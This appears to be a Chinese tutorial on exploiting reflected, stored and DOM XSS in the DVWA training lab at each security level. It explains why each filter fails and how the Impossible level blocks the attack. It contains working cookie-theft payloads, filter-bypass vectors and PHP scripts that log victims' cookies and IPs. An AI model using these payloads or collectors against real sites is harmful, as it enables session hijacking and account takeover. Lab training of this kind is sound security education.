首先打开DVWA,设置安全等级为Low:
Kali Linux系统利用DVW靶场测试XSS漏洞:打开XSS测试模块:
Kali Linux系统利用DVW靶场测试XSS漏洞:测试是否存在反射型XSS,输入<script>alert(1)</script>证明是否弹窗:
Kali Linux系统利用DVW靶场测试XSS漏洞:利用alert(document.cookie)弹出用户cookie:
Kali Linux系统利用DVW靶场测试XSS漏洞:反射型方案一:LOW:
编写Cookie.php并将其放在Web服务器上,此处演示地址为:http://127.0.0.1/dvwa/:
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
Kali Linux系统利用DVW靶场测试XSS漏洞:构造如下URL,并发送给被攻击者:
原始URL:
http://location/dvwa/vulnerabilities/xss_r/?name=
<script>doument.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
需要进行URL编码:
http://localhost/dvwa/vulnerabilities/xss_r/?name=
%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E#
受害者点击URL,会跳转到http://127.0.0.1/dvwa/cookie.php,并将Cookie写入到同目录cookie.txt中:Kali Linux系统利用DVW靶场测试XSS漏洞:
Kali Linux系统利用DVW靶场测试XSS漏洞:
最后攻击者利用获取到Cookie登录到受害者的账户:
Kali Linux系统利用DVW靶场测试XSS漏洞: Kali Linux系统利用DVW靶场测试XSS漏洞:反射型方案二:LOW:
PHP获取Cookie+IP代码:
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
注:将PHP文件上传到服务器Web目录下 ,然后访问链接:localhost/getcookie.php?cookie=111测试php代码:Kali Linux系统利用DVW靶场测试XSS漏洞:
测试shic是否存在存储型XSS漏洞:
Kali Linux系统利用DVW靶场测试XSS漏洞:注:此处DVWA对Message框做了长度要求,通过HTML改大即可,登录这个页面后该用户的Cookie就会自动保存到cookie.txt下面:Kali Linux系统利用DVW靶场测试XSS漏洞:
利用劫持到Cookies登录用户!
反射型方案三:MEDIUM:
网站源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
注:过滤了<script>,采用大小写混合方式绕过:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<Script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</scRipt>
反射型方案三:HIGH:
源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
注:过滤了<Script>标签所有可能形式,使用类似<iframe onload=alert(‘haha’)>的标签绕过:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<iframe onload=(document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie)>
成功获取到Cookie!
存储型方案一:LOW:
源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
注:trim()函数,用于去除字符串左右两侧的空格;stripslashes()函数,用于去除字符串中的反斜杠;mysqli_real_escape_string()对sql语句中的特殊字符进行转义。此处只是对输入的name,message做了防止SQL注入过滤,并没有对输入的字符串进行安全性过滤和处理,当字符串写入数据库的时候,如果存在特殊字符,也会被转义,但是当从数据库中调出的时候,并不影响特殊字符的功能.
Name输入框中输入:
<script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</script>
今后每次访问该界面都返回Cookie,再次实验时删除MySQL数据库中数据即可.
存储型方案二:MEDIUM:
源代码:
Stored XSS Source
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
注:strip_tags()函数去除html标签;htmlspecialchars()函数将预定义字符转换成html实体;str_replace()函数将指定的字符或字符串转换成别的字符,这里是将<script>转为空,缺点就是转义的时候区分大小写,可以看出对message的值进行了标签的过滤以及预定义符的转义;对name的值进行了转义;对name进行xss攻击.
在Name输入框中输入:
<Script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</Script>
今后每次访问该界面都返回该Cookie.
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
注:此源码比中级别的多一个过滤函数来过滤name值,preg_replace()函数进行正则表达式匹配防止大小写,多重输入字符绕过过滤函数。这个函数虽然不错,但是如果不用与低中级相似的payload,就可以成功绕过preg_replace()函数,构造payload:
<iframe onload=(document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie)>
今后每次访问该界面都返回该Cookie!
Reflected XSS方案一:Low:
源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
Low级别代码只是判断了name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,存在非常明显的XSS漏洞.
输入<script>alert('hack')</script>,直接就执行了插入的JavaScript代码:
Kali Linux系统利用DVW靶场测试XSS漏洞:查看网页源码,JavaScript代码已经被插入到页面中:
Kali Linux系统利用DVW靶场测试XSS漏洞:Reflected XSS方案二:Medium:
源代码:
<?php
header ("X-XSS-Protection: 0")
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
注:<pre> </pre>元素可定义预格式化的文本,被包围在pre元素中的文本通常会保留空格和换行符,而文本也会呈现为等宽字体,medium级别代码只是在low级别上增加了对于<scripit>的过滤,可以直接大写绕过,输入<SCRIPT>alert('hack')</SCRIPT>,直接就执行JavaScript代码:Kali Linux系统利用DVW靶场测试XSS漏洞:
注:查看网页源码查看源码,可以看到代码虽然输入的时候是大写躲过了过滤,但是最后输出的时候确是小写.Kali Linux系统利用DVW靶场测试XSS漏洞:
Reflected XSS方案三:High:
源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
注:high级别代码使用了正则表达式直接把<*s*c*r*i*p*t 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以<script>标签在这里就不能用了,但是可以通过img、body等标签事件或者iframe等标签src注入恶意的JavaScript代码,输入:<img src=1 onerror=alert('hack')>,上面输入的意思是当图片显示错误时,然后执行alert('hack') ,这里src=1肯定显示错误,所以就执行alert语句.Kali Linux系统利用DVW靶场测试XSS漏洞:
Kali Linux系统利用DVW靶场测试XSS漏洞:
查看网页源码,JavaScript代码已执行!
Reflected XSS方案三:Impossible:
源代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
注:htmlspecialchars(string):把预定义的字符 "<"(小于)、 ">"(大于)、& 、‘’、“” 转换为HTML实体,防止浏览器将其作为HTML元素。impossible级别代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击,然后再用htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止填入标签,当输入:<script>alert('hack')</script>时,因为htmlspecialchars函数会将< 和 >转换成html实体,并且${name}取的是$name的值,然后包围在<pre></pre>标签中被打印出来,所以插入的语句并不会被执行!Kali Linux系统利用DVW靶场测试XSS漏洞:
注:查看网页源码,表单提交过程中,把user_token也一并提交来和服务器端的session_token做验证,防止CSRF攻击,当输入插入的代码,直接被当成html文本给打印出来,并不会被当成JavaScript脚本执行.Kali Linux系统利用DVW靶场测试XSS漏洞:
Stored XSS方案一:Low:
源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
注:trim(string,charlist):移除string字符两侧的预定义字符,预定义字符包括\t 、\n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符,stripslashes(string):去除掉string字符的反斜杠\,mysqli_real_escape_string(string,connection):函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a进行转义,$GLOBALS:引用全局作用域中可用的全部变量,$GLOBALS这种全局变量用于在PHP脚本中的任意位置访问全局变量,从函数或方法中均可,PHP在名为$GLOBALS[index]的数组中存储了所有全局变量,变量的名字就是数组的键,low级别的代码对输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞,输入1和<script>alert('hack')</script> ,可以看到,JavaScript代码立即就执行!Kali Linux系统利用DVW靶场测试XSS漏洞:
查看数据库,可以看到JavaScript已经插入到数据库当中:
Kali Linux系统利用DVW靶场测试XSS漏洞:注:查看网页源码,可以看到Message位置显示JavaScript代码,因为这里显示的数据是调用数据库里的数据.Kali Linux系统利用DVW靶场测试XSS漏洞:
Stored XSS方案二:Medium:
源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
注:addslashes(string):函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL,strip_tags(string):函数剥去string字符串中的HTML、XML以及PHP标签,htmlspecialchars(string):把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为HTML实体,防止浏览器将其作为HTML元素,当再次输入1和<script>alert('hack')</script> ,strip_tags函数把<script>标签给剥除,addslashes函数把'转义成\'.Kali Linux系统利用DVW靶场测试XSS漏洞:
注:虽然Message参数把所有XSS都给过滤,但是name参数只是过滤了<script>标签而已,依然可以在name参数进行注入,可是发现name参数对长度有限制,最大长度是10.Kali Linux系统利用DVW靶场测试XSS漏洞:
抓包篡改:
Kali Linux系统利用DVW靶场测试XSS漏洞:如下框中数据就是<script>al经过URL编码后数据:
Kali Linux系统利用DVW靶场测试XSS漏洞:需要将其修改为:<SCRIPT>alert('hack')</SCRIPT>经过URL编码后的数据:
Kali Linux系统利用DVW靶场测试XSS漏洞:提交后就可以看到弹出此框,说明JavaScript代码已经执行.
Kali Linux系统利用DVW靶场测试XSS漏洞:查看数据库,可以看到代码插入进数据库:
Kali Linux系统利用DVW靶场测试XSS漏洞:查看页面源代码,可以看到name位置插入JavaScript代码:
Kali Linux系统利用DVW靶场测试XSS漏洞:Stored XSS方案三:High:
源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
注:可以看到high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成:<img src=1 onerror=alert('hack')>,输入如下:Kali Linux系统利用DVW靶场测试XSS漏洞:
然后将<img src=1 onerror=alert('hack')>进行URL编码:
Kali Linux系统利用DVW靶场测试XSS漏洞:可以看到JavaScript代码已执行:
Kali Linux系统利用DVW靶场测试XSS漏洞:查看数据库,JavaScript代码被插入进数据库:
Kali Linux系统利用DVW靶场测试XSS漏洞:查看源代码可以看到name位置已插入img标签:
Kali Linux系统利用DVW靶场测试XSS漏洞:Stored XSS方案四:Impossible:
源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
注:可以看到impossible在high级别的基础上对name参数也进行了更严格的过滤,导致name参数也无法进行XSS攻击,而且使用了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞!
DOM XSS漏洞方案一:Low:
源代码:
<?php
# No protections, anything goes
?>
Kali Linux系统利用DVW靶场测试XSS漏洞:注:页面本意是指选择默认语言,但是对default参数没有进行任何过滤.
构造XSS代码访问链接:
http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert('hack')</script>
可以看到Script脚本成功执行:
Kali Linux系统利用DVW靶场测试XSS漏洞:查看脚本源码:
Kali Linux系统利用DVW靶场测试XSS漏洞:DOM XSS方案二:Medium
源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags (不区分大小写)
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
注:medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值,这里还使用stripos()函数用于检测default值中是否有<script> ,如果有的话,则将default=English,很明显这里过滤了<script>,不区分大小写,那么可以使用<img src=1 onerror=('hack')>,但是目标访问URL:
http://127.0.0.1/vulnerabilities/xss_d/?default=<img src=1 onerror=alert('hack')>
Kali Linux系统利用DVW靶场测试XSS漏洞:此时并没有弹出任何页面!
注:查看网页源码,发现语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用.Kali Linux系统利用DVW靶场测试XSS漏洞:
注:所以构造闭合前面的标签,构造语句闭合option标签:
<option value=' " + lang + " '> " + decodeURI(lang) + " </option>
Kali Linux系统利用DVW靶场测试XSS漏洞:构造该URL链接:
http://127.0.0.1/vulnerabilities/xss_d/?default= ></option></select><img src=1 onerror=alert('hack')>
Kali Linux系统利用DVW靶场测试XSS漏洞:可以看到,语句成功执行!
Kali Linux系统利用DVW靶场测试XSS漏洞:注:查看网页源码,语句已经插入到页面中,成功执行!
DOM XSS方案三:High:
源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
注:high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。这样语句也就无法插入到页面中.
DOM XSS方案四:Impossible:
源代码:
<?php
# Don't need to do anything, protction handled on the client side
?>
注:impossible级别的代码没有任何东西,注释写的是保护的代码在客户端的里面,于是目标尝试访问链接:
http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert('hack')</script>
Kali Linux系统利用DVW靶场测试XSS漏洞:注:发现页面并没有弹出任何东西,而且语言框内的值是输入的参数经过URL编码后的数据.Kali Linux系统利用DVW靶场测试XSS漏洞:
注:查看源代码发现这里对输入的参数并没有进行URL解码,所以输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以也就不存在DOM XSS漏洞.
网友评论